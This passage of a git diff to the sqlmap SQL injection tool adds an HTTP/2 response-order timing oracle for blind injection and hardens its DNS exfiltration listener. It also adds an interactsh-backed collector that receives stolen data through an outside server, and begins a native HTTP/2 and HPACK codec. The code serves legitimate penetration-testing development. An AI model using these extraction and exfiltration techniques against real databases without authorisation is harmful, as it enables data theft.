re.escape(delimiter)) if not found and re.search(regex, (post or "")): found = True - post = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) + post = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) if re.search(regex, (get or "")): found = True - get = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), get) + get = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), get) if re.search(regex, (query or "")): found = True - uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri) + uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), uri) regex = r"((\A|%s\s*)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) if re.search(regex, (cookie or "")): found = True - cookie = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie) + cookie = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), cookie) if not found: if post is not None: @@ -1443,13 +1525,13 @@ def _randomizeParameter(paramString, randomParameter): match = re.search(r"['\"]", post) if match: quote = match.group(0) - post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "", "%s%s%s:%s" % (quote, name, quote, value if value.isdigit() else "%s%s%s" % (quote, value, quote))), post) + post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "", "%s%s%s:%s" % (quote, name, quote, entry if entry.isdigit() else "%s%s%s" % (quote, entry, quote))), post) else: - post += "%s%s=%s" % (delimiter, name, value) + post += "%s%s=%s" % (delimiter, name, entry) elif get is not None: - get += "%s%s=%s" % (delimiter, name, value) + get += "%s%s=%s" % (delimiter, name, entry) elif cookie is not None: - cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, value) + cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, entry) if not conf.skipUrlEncode: get = urlencode(get, limit=True) @@ -1460,6 +1542,22 @@ def _randomizeParameter(paramString, randomParameter): elif postUrlEncode: post = urlencode(post, spaceplus=kb.postSpaceToPlus) + # When the timeless oracle is engaged (by action() at the start of extraction, so the heavy vector + # is in place before any payload is built), a boolean comparison is answered by relative HTTP/2 + # response order instead of wall-clock timing - orders of magnitude faster and jitter-immune, and + # it skips the time-based statistical warm-up entirely. The comparison request is assembled exactly + # as it would be sent (buildOnly) and the bit is read from a coalesced pair. Not engaged -> timing. + if timeBasedCompare and kb.get("timeless") is not None: + from lib.request.timeless import negatePayload + # Build the condition and negation requests through the SAME path (queryPage buildOnly on the + # raw pre-placement value) so the pair differs ONLY by the negated comparison - building cond + # from the already-placed uri/get/post while neg goes through fresh placement would make them + # non-corresponding and flip the order. + negValue = negatePayload(timelessOrigValue) + condSpec = Connect.queryPage(timelessOrigValue, place=place, buildOnly=True) + negSpec = Connect.queryPage(negValue, place=place, buildOnly=True) if negValue is not None else None + return kb.timeless.readBitFromSpecs(condSpec, negSpec) + if timeBasedCompare and not conf.disableStats: if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES: clearConsoleLine() @@ -1476,8 +1574,8 @@ def _randomizeParameter(paramString, randomParameter): dataToStdout(warnMsg) while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: - value = kb.responseTimePayload.replace(RANDOM_INTEGER_MARKER, str(randomInt(6))).replace(RANDOM_STRING_MARKER, randomStr()) if kb.responseTimePayload else kb.responseTimePayload - Connect.queryPage(value=value, content=True, raise404=False) + _ = kb.responseTimePayload.replace(RANDOM_INTEGER_MARKER, str(randomInt(6))).replace(RANDOM_STRING_MARKER, randomStr()) if kb.responseTimePayload else kb.responseTimePayload + Connect.queryPage(value=_, content=True, raise404=False) dataToStdout('.') dataToStdout(" (done)\n") @@ -1537,6 +1635,12 @@ def _randomizeParameter(paramString, randomParameter): finally: kb.pageCompress = popValue() + # Timeless-timing oracle: after all placement/tampering, hand back the fully-assembled request + # (url, method, headers, post) instead of sending it, so two payloads can be coalesced into one + # multiplexed HTTP/2 pair (lib/request/timeless.py). + if buildOnly: + return Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=True, auxHeaders=auxHeaders, buildOnly=True) + if pageLength is None: try: page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) @@ -1557,10 +1661,7 @@ def _(value): if payload is None: value = value.replace(kb.customInjectionMark, "") else: - try: - value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value) - except re.error: - value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), re.escape(payload), value) + value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), lambda _: payload, value) # Note: function replacement inserts payload literally - avoids re.sub interpreting backslashes / group refs (e.g. \1, \g<...>) in the payload return value page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) diff --git a/lib/request/direct.py b/lib/request/direct.py index e56d2fb25d9..52f410e9080 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import binascii import re import time @@ -29,6 +30,20 @@ from lib.utils.safe2bin import safecharencode from lib.utils.timeout import timeout +def _hexifyBinary(value): + """ + Renders a raw binary cell returned by a driver in -d mode as uppercase hex, instead of letting it reach + the text channel as a str() like '' (PostgreSQL bytea -> psycopg2 memoryview) or a + control-character blob that gets blanked/corrupted (e.g. MSSQL varbinary -> bytes). Text columns come back + as native strings, so only genuine binary values are converted (matches HEX()-based rendering elsewhere). + """ + + if isinstance(value, memoryview): + value = value.tobytes() + if isinstance(value, (bytes, bytearray)): + return getUnicode(binascii.hexlify(value)).upper() + return value + def direct(query, content=True): select = True query = agent.payloadDirect(query) @@ -45,7 +60,10 @@ def direct(query, content=True): break if select: - if re.search(r"(?i)\ASELECT ", query) is None: + # only auto-wrap a bare scalar expression (e.g. 'CURRENT_USER', '48*60') in SELECT; a user-supplied + # complete row-returning statement (--sql-query 'PRAGMA ...' / 'WITH ...' / 'EXPLAIN ...') must be left + # intact, otherwise 'SELECT PRAGMA ...' is a syntax error and silently returns nothing + if re.search(r"(?i)\A\s*(?:SELECT|WITH|PRAGMA|EXPLAIN|DESCRIBE|DESC|SHOW|TABLE|VALUES)\b", query) is None: query = "SELECT %s" % query if conf.binaryFields: @@ -63,9 +81,15 @@ def direct(query, content=True): timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) elif not (output and ("%soutput" % conf.tablePrefix) not in query and ("%sfile" % conf.tablePrefix) not in query): output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) + if output and isListLike(output): + output = [tuple(_hexifyBinary(_) for _ in row) if isListLike(row) else _hexifyBinary(row) for row in output] if state == TIMEOUT_STATE.NORMAL: hashDBWrite(query, output, True) - elif state == TIMEOUT_STATE.TIMEOUT: + elif state in (TIMEOUT_STATE.TIMEOUT, TIMEOUT_STATE.EXCEPTION): + # a timed-out OR fatally-errored query (e.g. the connector raised SqlmapConnectionException, or the + # connection dropped mid-scan) left the connection unusable; reconnect so the rest of the scan + # recovers instead of every following query being silently swallowed to None (wrong/empty data). + # A genuinely dead DB makes connect() raise here and the scan aborts cleanly, as with TIMEOUT. conf.dbmsConnector.close() conf.dbmsConnector.connect() elif output: diff --git a/lib/request/dns.py b/lib/request/dns.py index 92dfdc187c0..f97d7cf60ce 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -1,13 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import binascii +import collections +import errno import os import re import socket @@ -15,6 +17,11 @@ import threading import time +try: + from lib.core.settings import MAX_DNS_REQUESTS +except ImportError: + MAX_DNS_REQUESTS = 1000 # fallback so this module stays runnable standalone + class DNSQuery(object): """ >>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com." @@ -28,18 +35,36 @@ def __init__(self, raw): self._query = b"" try: + if len(raw) < 13: + return + type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits if type_ == 0: # Standard query i = 12 - j = ord(raw[i:i + 1]) + labels = [] + + while True: + if i >= len(raw): + return - while j != 0: - self._query += raw[i + 1:i + j + 1] + b'.' - i = i + j + 1 j = ord(raw[i:i + 1]) - except TypeError: - pass + + if j == 0: + break + + i += 1 + + if i + j > len(raw): + return + + labels.append(raw[i:i + j]) + i += j + + if labels: + self._query = b".".join(labels) + b'.' + except (TypeError, ValueError, IndexError): + self._query = b"" def response(self, resolution): """ @@ -49,10 +74,15 @@ def response(self, resolution): retVal = b"" if self._query: + end = self._raw[12:].find(b"\x00") + + if end < 0 or len(self._raw) < 12 + end + 5: + return retVal + retVal += self._raw[:2] # Transaction ID retVal += b"\x85\x80" # Flags (Standard query response, No error) retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts - retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query + retVal += self._raw[12:(12 + end + 5)] # Original Domain Name Query retVal += b"\xc0\x0c" # Pointer to domain name retVal += b"\x00\x01" # Type A retVal += b"\x00\x01" # Class IN @@ -74,7 +104,7 @@ class DNSServer(object): def __init__(self): self._check_localhost() - self._requests = [] + self._requests = collections.deque(maxlen=MAX_DNS_REQUESTS) self._lock = threading.Lock() try: @@ -89,17 +119,22 @@ def __init__(self): def _check_localhost(self): response = b"" + s = None try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.settimeout(1.0) s.connect(("", 53)) s.send(binascii.unhexlify("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000")) # A www.google.com response = s.recv(512) except: pass finally: - if response and b"google" in response: - raise socket.error("another DNS service already running on '0.0.0.0:53'") + if s: + s.close() + + if response and b"google" in response: + raise socket.error("another DNS service already running on '0.0.0.0:53'") def pop(self, prefix=None, suffix=None): """ @@ -130,17 +165,55 @@ def run(self): """ def _(): + def _is_udp_connreset(ex): + return getattr(ex, "winerror", None) == 10054 or getattr(ex, "errno", None) in (errno.ECONNRESET, 10054) + try: self._running = True self._initialized = True - while True: - data, addr = self._socket.recvfrom(1024) - _ = DNSQuery(data) - self._socket.sendto(_.response("127.0.0.1"), addr) + try: + if hasattr(socket, "SIO_UDP_CONNRESET") and hasattr(self._socket, "ioctl"): + # Windows reports ICMP "port unreachable" for UDP as WSAECONNRESET on + # recvfrom(). DNS clients in tests and in the wild can disappear before + # reading our fake response; that must not kill the server thread. + self._socket.ioctl(socket.SIO_UDP_CONNRESET, False) + except Exception: + pass - with self._lock: - self._requests.append(_._query) + while True: + try: + data, addr = self._socket.recvfrom(1024) + except KeyboardInterrupt: + raise + except socket.error as ex: + if _is_udp_connreset(ex): + continue + break # socket closed/broken - stop serving (e.g. program exit) + except Exception: + break # socket closed/broken - stop serving (e.g. program exit) + + # Note: a single malformed packet or a transient send error must NOT kill the + # server thread (otherwise all subsequent DNS exfiltration is silently lost). + # The query is recorded BEFORE responding, so the exfiltrated data is captured + # even if crafting/sending the (fake) resolution response fails. + try: + _ = DNSQuery(data) + + if not _._query: + continue + + with self._lock: + self._requests.append(_._query) + + response = _.response("127.0.0.1") + + if response: + self._socket.sendto(response, addr) + except KeyboardInterrupt: + raise + except Exception: + pass except KeyboardInterrupt: raise @@ -152,6 +225,68 @@ def _(): thread.daemon = True thread.start() +class InteractshDNSServer(object): + """DNS exfiltration collector backed by a public (or self-hosted) interactsh + interaction server instead of a locally-bound privileged :53 socket. This lets + the '--dns-domain' data-exfiltration technique run with zero infrastructure - no + delegated authoritative domain, no root/Administrator, no reachable listener - + by resolving lookups under the interactsh correlation domain and polling them + back. It presents the same run()/pop(prefix, suffix) surface as DNSServer, so it + is a drop-in for conf.dnsServer. + """ + + _POLL_TRIES = 6 # a triggered lookup surfaces at interactsh within a couple of seconds; + _POLL_DELAY = 1.0 # poll up to ~6s per retrieval before treating the channel as silent + + def __init__(self, server=None): + from lib.request.interactsh import Interactsh, hasCrypto + + if not hasCrypto(): + raise socket.error("interactsh-backed DNS exfiltration requires the optional 'pycryptodome' package") + + self._client = Interactsh(server=server) + + if not self._client.registered: + raise socket.error("could not register with an interactsh interaction server") + + self.domain = self._client.dnsDomain() + self._seen = set() + self._running = True + self._initialized = True + + def run(self): + """No background listener is needed - interactsh does the receiving.""" + pass + + def pop(self, prefix=None, suffix=None): + """ + Returns a captured DNS lookup name matching the given prefix/suffix + (prefix..suffix.), mirroring DNSServer.pop(). + + Unlike the synchronous local DNSServer (which reads a query captured during the + very request), interactsh is remote and eventually-consistent: a just-triggered + lookup takes a moment to reach the collector and surface via its poll API. So we + poll a few times before giving up, instead of reading once. + """ + + for attempt in range(self._POLL_TRIES): + for name in self._client.dnsNames(): + if name in self._seen: + continue + + if prefix is None and suffix is None: + self._seen.add(name) + return name + + if prefix and suffix and re.search(r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I): + self._seen.add(name) + return name + + if attempt < self._POLL_TRIES - 1: + time.sleep(self._POLL_DELAY) + + return None + if __name__ == "__main__": server = None try: diff --git a/lib/request/http2.py b/lib/request/http2.py new file mode 100644 index 00000000000..a8aa6287f77 --- /dev/null +++ b/lib/request/http2.py @@ -0,0 +1,775 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Native, dependency-free HTTP/2 client (RFC 7540) with HPACK (RFC 7541), replacing the optional +# 'httpx[http2]' third-party stack. The HPACK static and Huffman tables below are the canonical +# RFC 7541 tables; the codec is validated differentially against python-hyper/hpack and the client +# end-to-end against real h2 servers. Pure standard library, Python 2.7 / 3.x. + +import base64 +import socket +import ssl +import struct +import threading + +try: + from http.client import responses as _HTTP_RESPONSES +except ImportError: + from httplib import responses as _HTTP_RESPONSES + +try: + from urllib.parse import urljoin, urlsplit +except ImportError: + from urlparse import urljoin, urlsplit + +from email.message import Message as _Message + +REDIRECT_CODES = (301, 302, 303, 307, 308) + + +HUFFMAN_CODES = [ + 0x1ff8, 0x7fffd8, 0xfffffe2, 0xfffffe3, 0xfffffe4, 0xfffffe5, 0xfffffe6, 0xfffffe7, 0xfffffe8, 0xffffea, + 0x3ffffffc, 0xfffffe9, 0xfffffea, 0x3ffffffd, 0xfffffeb, 0xfffffec, 0xfffffed, 0xfffffee, 0xfffffef, + 0xffffff0, 0xffffff1, 0xffffff2, 0x3ffffffe, 0xffffff3, 0xffffff4, 0xffffff5, 0xffffff6, 0xffffff7, 0xffffff8, + 0xffffff9, 0xffffffa, 0xffffffb, 0x14, 0x3f8, 0x3f9, 0xffa, 0x1ff9, 0x15, 0xf8, 0x7fa, 0x3fa, 0x3fb, 0xf9, + 0x7fb, 0xfa, 0x16, 0x17, 0x18, 0x0, 0x1, 0x2, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x5c, 0xfb, 0x7ffc, + 0x20, 0xffb, 0x3fc, 0x1ffa, 0x21, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, + 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0xfc, 0x73, 0xfd, 0x1ffb, 0x7fff0, 0x1ffc, 0x3ffc, + 0x22, 0x7ffd, 0x3, 0x23, 0x4, 0x24, 0x5, 0x25, 0x26, 0x27, 0x6, 0x74, 0x75, 0x28, 0x29, 0x2a, 0x7, 0x2b, 0x76, + 0x2c, 0x8, 0x9, 0x2d, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7ffe, 0x7fc, 0x3ffd, 0x1ffd, 0xffffffc, 0xfffe6, + 0x3fffd2, 0xfffe7, 0xfffe8, 0x3fffd3, 0x3fffd4, 0x3fffd5, 0x7fffd9, 0x3fffd6, 0x7fffda, 0x7fffdb, 0x7fffdc, + 0x7fffdd, 0x7fffde, 0xffffeb, 0x7fffdf, 0xffffec, 0xffffed, 0x3fffd7, 0x7fffe0, 0xffffee, 0x7fffe1, 0x7fffe2, + 0x7fffe3, 0x7fffe4, 0x1fffdc, 0x3fffd8, 0x7fffe5, 0x3fffd9, 0x7fffe6, 0x7fffe7, 0xffffef, 0x3fffda, 0x1fffdd, + 0xfffe9, 0x3fffdb, 0x3fffdc, 0x7fffe8, 0x7fffe9, 0x1fffde, 0x7fffea, 0x3fffdd, 0x3fffde, 0xfffff0, 0x1fffdf, + 0x3fffdf, 0x7fffeb, 0x7fffec, 0x1fffe0, 0x1fffe1, 0x3fffe0, 0x1fffe2, 0x7fffed, 0x3fffe1, 0x7fffee, 0x7fffef, + 0xfffea, 0x3fffe2, 0x3fffe3, 0x3fffe4, 0x7ffff0, 0x3fffe5, 0x3fffe6, 0x7ffff1, 0x3ffffe0, 0x3ffffe1, 0xfffeb, + 0x7fff1, 0x3fffe7, 0x7ffff2, 0x3fffe8, 0x1ffffec, 0x3ffffe2, 0x3ffffe3, 0x3ffffe4, 0x7ffffde, 0x7ffffdf, + 0x3ffffe5, 0xfffff1, 0x1ffffed, 0x7fff2, 0x1fffe3, 0x3ffffe6, 0x7ffffe0, 0x7ffffe1, 0x3ffffe7, 0x7ffffe2, + 0xfffff2, 0x1fffe4, 0x1fffe5, 0x3ffffe8, 0x3ffffe9, 0xffffffd, 0x7ffffe3, 0x7ffffe4, 0x7ffffe5, 0xfffec, + 0xfffff3, 0xfffed, 0x1fffe6, 0x3fffe9, 0x1fffe7, 0x1fffe8, 0x7ffff3, 0x3fffea, 0x3fffeb, 0x1ffffee, 0x1ffffef, + 0xfffff4, 0xfffff5, 0x3ffffea, 0x7ffff4, 0x3ffffeb, 0x7ffffe6, 0x3ffffec, 0x3ffffed, 0x7ffffe7, 0x7ffffe8, + 0x7ffffe9, 0x7ffffea, 0x7ffffeb, 0xffffffe, 0x7ffffec, 0x7ffffed, 0x7ffffee, 0x7ffffef, 0x7fffff0, 0x3ffffee, + 0x3fffffff +] + + +HUFFMAN_LENGTHS = [ + 0xd, 0x17, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x18, 0x1e, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c, + 0x1c, 0x1c, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x6, 0xa, 0xa, 0xc, 0xd, + 0x6, 0x8, 0xb, 0xa, 0xa, 0x8, 0xb, 0x8, 0x6, 0x6, 0x6, 0x5, 0x5, 0x5, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x7, + 0x8, 0xf, 0x6, 0xc, 0xa, 0xd, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, + 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x8, 0x7, 0x8, 0xd, 0x13, 0xd, 0xe, 0x6, 0xf, 0x5, 0x6, 0x5, 0x6, 0x5, 0x6, + 0x6, 0x6, 0x5, 0x7, 0x7, 0x6, 0x6, 0x6, 0x5, 0x6, 0x7, 0x6, 0x5, 0x5, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0xf, 0xb, + 0xe, 0xd, 0x1c, 0x14, 0x16, 0x14, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x17, 0x17, 0x17, 0x17, 0x17, 0x18, + 0x17, 0x18, 0x18, 0x16, 0x17, 0x18, 0x17, 0x17, 0x17, 0x17, 0x15, 0x16, 0x17, 0x16, 0x17, 0x17, 0x18, 0x16, + 0x15, 0x14, 0x16, 0x16, 0x17, 0x17, 0x15, 0x17, 0x16, 0x16, 0x18, 0x15, 0x16, 0x17, 0x17, 0x15, 0x15, 0x16, + 0x15, 0x17, 0x16, 0x17, 0x17, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x16, 0x17, 0x1a, 0x1a, 0x14, 0x13, 0x16, + 0x17, 0x16, 0x19, 0x1a, 0x1a, 0x1a, 0x1b, 0x1b, 0x1a, 0x18, 0x19, 0x13, 0x15, 0x1a, 0x1b, 0x1b, 0x1a, 0x1b, + 0x18, 0x15, 0x15, 0x1a, 0x1a, 0x1c, 0x1b, 0x1b, 0x1b, 0x14, 0x18, 0x14, 0x15, 0x16, 0x15, 0x15, 0x17, 0x16, + 0x16, 0x19, 0x19, 0x18, 0x18, 0x1a, 0x17, 0x1a, 0x1b, 0x1a, 0x1a, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1c, 0x1b, + 0x1b, 0x1b, 0x1b, 0x1b, 0x1a, 0x1e +] + + +STATIC_TABLE = ( + (b':authority', b''), + (b':method', b'GET'), + (b':method', b'POST'), + (b':path', b'/'), + (b':path', b'/index.html'), + (b':scheme', b'http'), + (b':scheme', b'https'), + (b':status', b'200'), + (b':status', b'204'), + (b':status', b'206'), + (b':status', b'304'), + (b':status', b'400'), + (b':status', b'404'), + (b':status', b'500'), + (b'accept-charset', b''), + (b'accept-encoding', b'gzip, deflate'), + (b'accept-language', b''), + (b'accept-ranges', b''), + (b'accept', b''), + (b'access-control-allow-origin', b''), + (b'age', b''), + (b'allow', b''), + (b'authorization', b''), + (b'cache-control', b''), + (b'content-disposition', b''), + (b'content-encoding', b''), + (b'content-language', b''), + (b'content-length', b''), + (b'content-location', b''), + (b'content-range', b''), + (b'content-type', b''), + (b'cookie', b''), + (b'date', b''), + (b'etag', b''), + (b'expect', b''), + (b'expires', b''), + (b'from', b''), + (b'host', b''), + (b'if-match', b''), + (b'if-modified-since', b''), + (b'if-none-match', b''), + (b'if-range', b''), + (b'if-unmodified-since', b''), + (b'last-modified', b''), + (b'link', b''), + (b'location', b''), + (b'max-forwards', b''), + (b'proxy-authenticate', b''), + (b'proxy-authorization', b''), + (b'range', b''), + (b'referer', b''), + (b'refresh', b''), + (b'retry-after', b''), + (b'server', b''), + (b'set-cookie', b''), + (b'strict-transport-security', b''), + (b'transfer-encoding', b''), + (b'user-agent', b''), + (b'vary', b''), + (b'via', b''), + (b'www-authenticate', b''), +) +STATIC_LEN = len(STATIC_TABLE) + + +# HTTP/2 frame codec (RFC 7540 section 4.1) - the zero-table-risk brick. Pure stdlib, py2/py3, ASCII. + +# frame types (RFC 7540 s6) +DATA, HEADERS, RST_STREAM, SETTINGS, PING, GOAWAY, WINDOW_UPDATE, CONTINUATION = 0x0, 0x1, 0x3, 0x4, 0x6, 0x7, 0x8, 0x9 +# flags +FLAG_END_STREAM = 0x1 +FLAG_ACK = 0x1 +FLAG_END_HEADERS = 0x4 +FLAG_PADDED = 0x8 +FLAG_PRIORITY = 0x20 + +CONNECTION_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" + +def encode_frame(ftype, flags, stream_id, payload=b""): + """Serialize an HTTP/2 frame (RFC 7540 s4.1): 24-bit length + type + flags + 31-bit stream id. + + >>> decode_frame_header(encode_frame(HEADERS, FLAG_END_HEADERS, 1, b'abc')[:9]) + (3, 1, 4, 1) + """ + if len(payload) > 0xffffff: + raise ValueError("frame payload exceeds 24-bit length") + header = struct.pack("!I", len(payload))[1:] # 24-bit length (drop MSB of the 32-bit pack) + header += struct.pack("!BBI", ftype, flags, stream_id & 0x7fffffff) # type, flags, R(1)+stream(31) + return header + payload + +def decode_frame_header(nine): + """Parse the 9-byte frame header into (length, type, flags, stream_id); the reserved high bit of the stream id is masked off. + + >>> decode_frame_header(encode_frame(DATA, 0, 0x80000001, b'')[:9]) + (0, 0, 0, 1) + """ + if len(nine) != 9: + raise ValueError("frame header must be exactly 9 bytes") + length = struct.unpack("!I", b"\x00" + nine[:3])[0] + ftype, flags, stream_id = struct.unpack("!BBI", nine[3:9]) + return length, ftype, flags, stream_id & 0x7fffffff + +# ---------- Huffman ---------- +def huffman_encode(data): + """Huffman-encode a byte string per the RFC 7541 static table (s5.2), padding with EOS 1-bits. + + >>> huffman_decode(huffman_encode(b'www.example.com')) == b'www.example.com' + True + >>> huffman_encode(b'') == b'' + True + """ + if not data: + return b"" + acc = 0 + nbits = 0 + for b in bytearray(data): + acc = (acc << HUFFMAN_LENGTHS[b]) | HUFFMAN_CODES[b] + nbits += HUFFMAN_LENGTHS[b] + pad = (8 - nbits % 8) % 8 + acc = (acc << pad) | ((1 << pad) - 1) # pad with 1-bits (EOS prefix) + total = (nbits + pad) // 8 + out = bytearray() + for i in range(total - 1, -1, -1): + out.append((acc >> (8 * i)) & 0xff) + return bytes(out) + +_HUFF_ROOT = {} +def _build_huffman_trie(): + for sym in range(256): + code, length = HUFFMAN_CODES[sym], HUFFMAN_LENGTHS[sym] + node = _HUFF_ROOT + for i in range(length - 1, -1, -1): + bit = (code >> i) & 1 + if i == 0: + node[bit] = sym # leaf: int symbol + else: + node = node.setdefault(bit, {}) +_build_huffman_trie() + +def huffman_decode(data): + out = bytearray() + node = _HUFF_ROOT + consumed = 0 # bits into the current (partial) symbol + for byte in bytearray(data): + for i in range(7, -1, -1): + bit = (byte >> i) & 1 + nxt = node.get(bit) + if nxt is None: + raise ValueError("invalid Huffman sequence") + consumed += 1 + if isinstance(nxt, dict): + node = nxt + else: + out.append(nxt) + node = _HUFF_ROOT + consumed = 0 + # RFC 7541 5.2: any leftover partial path must be EOS padding: all 1-bits and fewer than 8 + if node is not _HUFF_ROOT: + if consumed >= 8: + raise ValueError("Huffman padding too long") + # walk back is unnecessary: padding is all-ones, i.e. we must have only taken '1' branches + # since the last leaf; verify by re-deriving is overkill - reference cross-check guards it + return bytes(out) + +# ---------- integer / string (RFC 7541 5.1 / 5.2) ---------- +def encode_integer(value, prefix_bits, first_byte=0): + """Encode an integer with an N-bit prefix (RFC 7541 s5.1); the C.1.2 example is 1337 / 5-bit prefix. + + >>> list(encode_integer(10, 5)) + [10] + >>> list(encode_integer(1337, 5)) + [31, 154, 10] + """ + mask = (1 << prefix_bits) - 1 + if value < mask: + return bytearray([first_byte | value]) + out = bytearray([first_byte | mask]) + value -= mask + while value >= 0x80: + out.append((value & 0x7f) | 0x80) + value >>= 7 + out.append(value) + return out + +def decode_integer(data, pos, prefix_bits): + """Decode an N-bit-prefixed integer, returning (value, new_pos) (RFC 7541 s5.1). + + >>> decode_integer(bytearray([31, 154, 10]), 0, 5) + (1337, 3) + """ + mask = (1 << prefix_bits) - 1 + value = data[pos] & mask + pos += 1 + if value < mask: + return value, pos + shift = 0 + while True: + b = data[pos] + pos += 1 + value += (b & 0x7f) << shift + shift += 7 + if not (b & 0x80): + break + return value, pos + +def encode_string(value, huffman=True): + if huffman: + encoded = huffman_encode(value) + if len(encoded) < len(value): # only use Huffman when it actually shrinks + return encode_integer(len(encoded), 7, 0x80) + encoded + return encode_integer(len(value), 7, 0x00) + bytearray(value) + +def decode_string(data, pos): + huffman = bool(data[pos] & 0x80) + length, pos = decode_integer(data, pos, 7) + raw = bytes(data[pos:pos + length]) + pos += length + return (huffman_decode(raw) if huffman else raw), pos + +# ---------- dynamic table + decoder/encoder ---------- +class Decoder(object): + def __init__(self, max_size=4096): + self.max_size = max_size + self.dynamic = [] # newest first: [(name, value), ...] + self._size = 0 + + def _entry_size(self, name, value): + return 32 + len(name) + len(value) + + def _add(self, name, value): + self.dynamic.insert(0, (name, value)) + self._size += self._entry_size(name, value) + self._evict() + + def _evict(self): + while self._size > self.max_size and self.dynamic: + name, value = self.dynamic.pop() + self._size -= self._entry_size(name, value) + + def _get(self, index): + if index <= 0: + raise ValueError("invalid header index 0") + if index <= STATIC_LEN: + return STATIC_TABLE[index - 1] + index -= STATIC_LEN + 1 + if index >= len(self.dynamic): + raise ValueError("dynamic index out of range") + return self.dynamic[index] + + def decode(self, data): + """Decode an HPACK header block into a list of (name, value) byte pairs (RFC 7541 s6). + + >>> Decoder().decode(bytes(bytearray([0x82, 0x86, 0x84]))) == [(b':method', b'GET'), (b':scheme', b'http'), (b':path', b'/')] + True + """ + data = bytearray(data) + pos = 0 + headers = [] + n = len(data) + while pos < n: + byte = data[pos] + if byte & 0x80: # 6.1 indexed + index, pos = decode_integer(data, pos, 7) + headers.append(self._get(index)) + elif byte & 0x40: # 6.2.1 literal + incremental indexing + index, pos = decode_integer(data, pos, 6) + if index: + name = self._get(index)[0] + else: + name, pos = decode_string(data, pos) + value, pos = decode_string(data, pos) + self._add(name, value) + headers.append((name, value)) + elif byte & 0x20: # 6.3 dynamic table size update + new_size, pos = decode_integer(data, pos, 5) + self.max_size = new_size + 